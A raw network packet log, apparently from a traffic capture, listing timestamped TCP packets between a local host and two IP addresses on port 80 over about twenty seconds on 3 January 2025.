Jan 3, 2025 11:47:56.423392057 CET	49757	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:56.423593044 CET	51593	80	192.168.2.4	188.114.96.3
Jan 3, 2025 11:47:56.423659086 CET	51623	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.424988031 CET	51626	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.425550938 CET	51628	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.429855108 CET	80	51626	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:56.429907084 CET	51626	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.430286884 CET	80	51628	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:56.430547953 CET	51628	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.430686951 CET	51628	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.435503006 CET	80	51628	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:56.784220934 CET	51628	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.789055109 CET	80	51628	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:56.834712982 CET	51629	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.836338997 CET	51628	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.839519024 CET	80	51629	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:56.839608908 CET	51629	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.841329098 CET	80	51628	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:56.841411114 CET	51628	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.850229025 CET	51629	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:56.854984999 CET	80	51629	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:57.288986921 CET	51629	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:57.293806076 CET	80	51629	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:57.293973923 CET	80	51629	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:57.302757978 CET	80	51629	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:57.346400976 CET	51629	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:57.638529062 CET	80	51629	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:57.690155983 CET	51629	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:57.766067982 CET	51629	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:57.811439991 CET	80	51629	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:57.863598108 CET	80	51629	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:57.863734961 CET	51629	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:57.868498087 CET	80	51629	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:58.126538038 CET	80	51629	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:58.174535036 CET	51629	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:58.249603033 CET	51629	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:58.250351906 CET	51635	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:58.254968882 CET	80	51629	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:58.255130053 CET	51629	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:58.257535934 CET	80	51635	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:58.257603884 CET	51635	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:58.257724047 CET	51635	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:58.262527943 CET	80	51635	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:58.612122059 CET	51635	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:58.616974115 CET	80	51635	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:58.701595068 CET	80	51635	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:58.753002882 CET	51635	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:58.960823059 CET	80	51635	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:59.002728939 CET	51635	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:59.076581001 CET	51641	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:59.081403971 CET	80	51641	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:59.081513882 CET	51641	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:59.081615925 CET	51641	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:59.086400986 CET	80	51641	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:59.442677021 CET	51641	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:59.447626114 CET	80	51641	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:59.553348064 CET	80	51641	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:59.597744942 CET	51641	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:47:59.725243092 CET	80	51641	188.114.97.3	192.168.2.4
Jan 3, 2025 11:47:59.768301010 CET	51641	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.118527889 CET	51635	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.134468079 CET	51641	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.135121107 CET	51652	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.139413118 CET	80	51641	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:00.139477015 CET	51641	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.139894009 CET	80	51652	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:00.140032053 CET	51652	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.141330957 CET	51652	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.146110058 CET	80	51652	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:00.487134933 CET	51652	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.491961956 CET	80	51652	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:00.583189964 CET	80	51652	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:00.627662897 CET	51652	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.758868933 CET	80	51652	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:00.799550056 CET	51652	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.876460075 CET	51652	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.877219915 CET	51655	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.881573915 CET	80	51652	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:00.881623983 CET	51652	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.882015944 CET	80	51655	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:00.882075071 CET	51655	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.882297039 CET	51655	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:00.887213945 CET	80	51655	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:01.237214088 CET	51655	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:01.242002010 CET	80	51655	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:01.346244097 CET	80	51655	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:01.393295050 CET	51655	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:01.610115051 CET	80	51655	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:01.658974886 CET	51655	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:01.731733084 CET	51655	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:01.732312918 CET	51663	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:01.739573002 CET	80	51655	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:01.739820957 CET	51655	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:01.739970922 CET	80	51663	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:01.740050077 CET	51663	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:01.740156889 CET	51663	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:01.744959116 CET	80	51663	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:02.096704960 CET	51663	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:02.101602077 CET	80	51663	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:02.183983088 CET	80	51663	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:02.241784096 CET	51663	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:02.454464912 CET	80	51663	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:02.505718946 CET	51663	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:02.579571009 CET	51663	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:02.582231045 CET	51670	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:02.584625006 CET	80	51663	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:02.585131884 CET	51663	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:02.587033987 CET	80	51670	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:02.589842081 CET	51670	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:02.609323025 CET	51670	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:02.614094019 CET	80	51670	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:02.707506895 CET	51671	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:02.707721949 CET	51670	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:02.712409019 CET	80	51671	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:02.712493896 CET	51671	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:02.755400896 CET	80	51670	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:02.928242922 CET	51671	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:02.932991982 CET	80	51671	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:02.944555998 CET	80	51670	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:02.945940971 CET	51670	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:03.159620047 CET	80	51671	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:03.196528912 CET	51671	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:03.201385975 CET	80	51671	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:03.201433897 CET	80	51671	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:03.547877073 CET	80	51671	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:03.596429110 CET	51671	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:03.687474012 CET	51677	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:03.692272902 CET	80	51677	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:03.692337036 CET	51677	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:03.704041958 CET	51677	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:03.708951950 CET	80	51677	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:04.049876928 CET	51677	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:04.054703951 CET	80	51677	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:04.155430079 CET	80	51677	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:04.205806017 CET	51677	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:04.411863089 CET	80	51677	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:04.455874920 CET	51677	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:04.532243967 CET	51671	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:04.532309055 CET	51677	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:04.533620119 CET	51683	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:04.539756060 CET	80	51683	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:04.539829016 CET	51683	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:04.539943933 CET	51683	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:04.542794943 CET	80	51671	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:04.542804956 CET	80	51677	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:04.542848110 CET	51671	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:04.542876959 CET	51677	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:04.545511961 CET	80	51683	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:04.893436909 CET	51683	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:04.898242950 CET	80	51683	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:05.004123926 CET	80	51683	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:05.049556971 CET	51683	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:05.253443003 CET	80	51683	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:05.299551964 CET	51683	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:05.432914972 CET	51683	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:05.435609102 CET	51689	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:05.437897921 CET	80	51683	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:05.437958956 CET	51683	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:05.440402985 CET	80	51689	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:05.440521955 CET	51689	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:05.440871000 CET	51689	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:05.445615053 CET	80	51689	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:05.804691076 CET	51689	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:05.809490919 CET	80	51689	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:05.908890009 CET	80	51689	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:05.963748932 CET	51689	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:06.163309097 CET	80	51689	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:06.205822945 CET	51689	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:06.284168005 CET	51689	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:06.284976959 CET	51695	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:06.289159060 CET	80	51689	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:06.289213896 CET	51689	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:06.289798975 CET	80	51695	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:06.289864063 CET	51695	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:06.289973021 CET	51695	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:06.294754982 CET	80	51695	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:06.643410921 CET	51695	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:06.648190022 CET	80	51695	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:06.768532991 CET	80	51695	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:06.815196991 CET	51695	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:07.028640032 CET	80	51695	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:07.081075907 CET	51695	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:07.155648947 CET	51701	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:07.160459042 CET	80	51701	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:07.160778046 CET	51701	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:07.160778046 CET	51701	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:07.165585995 CET	80	51701	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:07.518460989 CET	51701	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:07.523258924 CET	80	51701	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:07.624979019 CET	80	51701	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:07.674565077 CET	51701	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:07.881592035 CET	80	51701	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:07.924567938 CET	51701	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.000523090 CET	51701	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.001283884 CET	51707	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.005593061 CET	80	51701	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:08.005645990 CET	51701	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.006093979 CET	80	51707	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:08.006195068 CET	51707	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.006304026 CET	51707	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.011135101 CET	80	51707	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:08.379337072 CET	51707	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.386352062 CET	80	51707	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:08.449065924 CET	80	51707	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:08.502692938 CET	51707	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.718197107 CET	80	51707	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:08.768322945 CET	51707	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.779232979 CET	51713	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.783974886 CET	80	51713	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:08.784053087 CET	51713	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.784645081 CET	51713	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.789391994 CET	80	51713	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:08.880033016 CET	51695	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.882742882 CET	51714	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.887546062 CET	80	51714	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:08.887604952 CET	51714	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.887731075 CET	51714	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:08.892442942 CET	80	51714	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:09.143580914 CET	51713	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.148436069 CET	80	51713	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:09.148576021 CET	80	51713	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:09.236457109 CET	80	51713	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:09.237173080 CET	51714	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.242019892 CET	80	51714	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:09.283942938 CET	51713	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.347058058 CET	80	51714	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:09.393330097 CET	51714	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.516046047 CET	80	51714	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:09.541702986 CET	80	51713	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:09.565192938 CET	51714	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.596445084 CET	51713	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.639750957 CET	51713	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.639751911 CET	51707	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.639880896 CET	51714	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.641038895 CET	51720	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.645817995 CET	80	51713	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:09.645876884 CET	51713	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.646051884 CET	80	51707	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:09.646059990 CET	80	51714	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:09.646101952 CET	51707	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.646116972 CET	51714	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.646680117 CET	80	51720	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:09.649905920 CET	51720	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.649997950 CET	51720	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:09.655612946 CET	80	51720	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:10.002784014 CET	51720	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:10.007643938 CET	80	51720	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:10.121568918 CET	80	51720	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:10.174576044 CET	51720	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:10.295844078 CET	80	51720	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:10.346476078 CET	51720	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:10.420996904 CET	51726	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:10.426552057 CET	80	51726	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:10.426635981 CET	51726	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:10.426769018 CET	51726	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:10.432625055 CET	80	51726	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:10.784063101 CET	51726	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:10.790154934 CET	80	51726	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:10.870095968 CET	80	51726	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:10.924582958 CET	51726	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:11.133276939 CET	80	51726	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:11.174576998 CET	51726	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:11.669061899 CET	51726	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:11.669498920 CET	51737	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:11.674056053 CET	80	51726	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:11.674109936 CET	51726	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:11.674284935 CET	80	51737	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:11.674370050 CET	51737	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:11.674493074 CET	51737	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:11.679230928 CET	80	51737	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:12.028959036 CET	51737	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:12.034075022 CET	80	51737	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:12.147022963 CET	80	51737	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:12.190208912 CET	51737	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:12.314300060 CET	80	51737	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:12.362082005 CET	51737	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:12.467011929 CET	51720	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:12.561001062 CET	51737	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:12.561373949 CET	51743	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:12.565973997 CET	80	51737	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:12.566015959 CET	51737	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:12.566102028 CET	80	51743	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:12.566268921 CET	51743	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:12.567368984 CET	51743	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:12.572202921 CET	80	51743	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:12.924865961 CET	51743	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:12.929661036 CET	80	51743	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:13.030308008 CET	80	51743	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:13.081841946 CET	51743	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:13.289391041 CET	80	51743	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:13.332464933 CET	51743	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:13.407411098 CET	51743	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:13.408034086 CET	51749	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:13.412458897 CET	80	51743	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:13.412841082 CET	80	51749	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:13.412841082 CET	51743	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:13.412993908 CET	51749	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:13.412993908 CET	51749	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:13.417769909 CET	80	51749	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:13.780863047 CET	51749	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:13.785610914 CET	80	51749	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:13.856611013 CET	80	51749	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:13.908950090 CET	51749	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:14.130037069 CET	80	51749	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:14.190215111 CET	51749	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:14.573220015 CET	51749	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:14.573545933 CET	51755	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:14.578382969 CET	80	51755	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:14.578478098 CET	51755	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:14.578501940 CET	80	51749	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:14.578586102 CET	51755	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:14.578603029 CET	51749	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:14.583323002 CET	80	51755	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:14.594818115 CET	51756	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:14.599675894 CET	80	51756	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:14.599740982 CET	51756	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:14.599843979 CET	51756	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:14.604636908 CET	80	51756	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:14.924746990 CET	51755	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:14.929559946 CET	80	51755	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:14.929653883 CET	80	51755	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:14.955940962 CET	51756	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:14.960767031 CET	80	51756	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:15.139863014 CET	80	51756	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:15.141387939 CET	80	51755	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:15.190222979 CET	51756	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:15.190233946 CET	51755	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:15.308762074 CET	80	51755	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:15.309355021 CET	51756	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:15.314290047 CET	80	51756	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:15.314372063 CET	51756	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:15.350353956 CET	51755	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:15.437824011 CET	51755	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:15.438576937 CET	51762	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:15.442867994 CET	80	51755	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:15.442919016 CET	51755	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:15.443340063 CET	80	51762	188.114.97.3	192.168.2.4
Jan 3, 2025 11:48:15.443401098 CET	51762	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:15.443499088 CET	51762	80	192.168.2.4	188.114.97.3
Jan 3, 2025 11:48:15.448268890 CET	80	51762	188.114.97.3	192.168.2.4
